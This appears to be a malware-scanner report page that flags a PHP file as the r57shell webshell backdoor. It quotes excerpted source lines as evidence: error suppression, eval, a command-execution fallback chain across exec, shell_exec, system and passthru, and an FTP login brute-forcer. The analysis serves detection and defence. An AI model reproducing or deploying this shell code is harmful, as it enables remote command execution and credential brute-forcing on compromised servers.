Hostile 100% php Download

Backdoor.PHP.Rst.g

r57shell webshell backdoor

Stealthy PHP fallback command consoleDetects Webshell R57
SHA-2569667fc1a2cd9d3408505aff4e9f032e065aac05c9a85516e4dc5619179073f75

Evidence

Disables error reporting (error_reporting(0)) lines 51–92
51:11… *********************************************************************************************/
52error_reporting(0);
53set_magic_quotes_runtime(0);
54@set_time_limit(0);
55@ini_set('max_execution_time',0);
56@ini_set('output_buffering',0);
57$safe_mode = @ini_get('safe_mode');
58$version = "1.24";
59if(version_compare(phpversion(), '4.1.0') == -1)
60 {
61 $_POST = &$HTTP_POST_VARS;
62 $_GET = &$HTTP_GET_VARS;
63 $_SERVER = &$HTTP_SERVER_VARS;
64 }
65if (@get_magic_quotes_gpc())
66 {
67 foreach ($_POST as $k=>$v)
68 {
69 $_POST[$k] = stripslashes($v);
70 }
71 foreach ($_SERVER as $k=>$v)
⋯4 lines
76
77if($auth == 1) {
78if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
79 {
80 header('WWW-Authenticate: Basic realm="r57shell"');
81 header('HTTP/1.0 401 Unauthorized');
82 exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
83 }
84}
85$head = '<!-- ?????????? ???? -->
86<html>
87<head>
88<title>r57shell</title>
⋯4 lines
Evaluates PHP source at runtime lines 198–207
198:32… me[4] . $dtime[5]
199 . '\x' . $dtime[2] . $dtime[3]
200 . '\x' . $dtime[0] . $dtime[1];
201 eval('$hexdtime = "' . $hexdtime . '";');
202 $fr = "\x50\x4b\x03\x04";
203 $fr .= "\x14\x00";
⋯4 lines
URL parameter fetched and executed lines 288–314
288:22… rsion: 1.0\r\n";
289 $headers .= "Content-Type: ".$attach['type'];
290 $headers .= "; name=\"".$attach['name']."\"\r\n";
291 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
292 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
293 if(@mail($to,$subj,"",$headers)) { return 1; }
294 return 0;
295 }
296if(isset($_GET['img'])&&!empty($_GET['img']))
297 {
298 $images = array();
299 $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
300 $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
301 @ob_clean();
302 header("Content-type: image/gif");
303 echo base64_decode($images[$_GET['img']]);
304 die();
305 }
306if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
307 {
308 if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
309 else
310 {
⋯4 lines
Checks PHP shell_exec availability lines 965–1007
⋯7 lines
972 if(function_exists('exec'))
973 {
974 @exec($cfe,$res);
975 $res = join("\n",$res);
976 }
977 elseif(function_exists('shell_exec'))
978 {
979 $res = @shell_exec($cfe);
980 }
981 elseif(function_exists('system'))
982 {
983 @ob_start();
984 @system($cfe);
985 $res = @ob_get_contents();
986 @ob_end_clean();
987 }
988 elseif(function_exists('passthru'))
989 {
990 @ob_start();
991 @passthru($cfe);
992 $res = @ob_get_contents();
993 @ob_end_clean();
994 }
995 elseif(@is_resource($f = @popen($cfe,"r")))
996 {
997 $res = "";
⋯10 lines
Detects Webshell R57 lines 1859–1868
⋯4 lines
1863 foreach($users as $user)
1864 {
1865 $connection = @ftp_connect($ftp_server,$ftp_port,10);
1866 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
1867 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
1868 @ftp_c …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.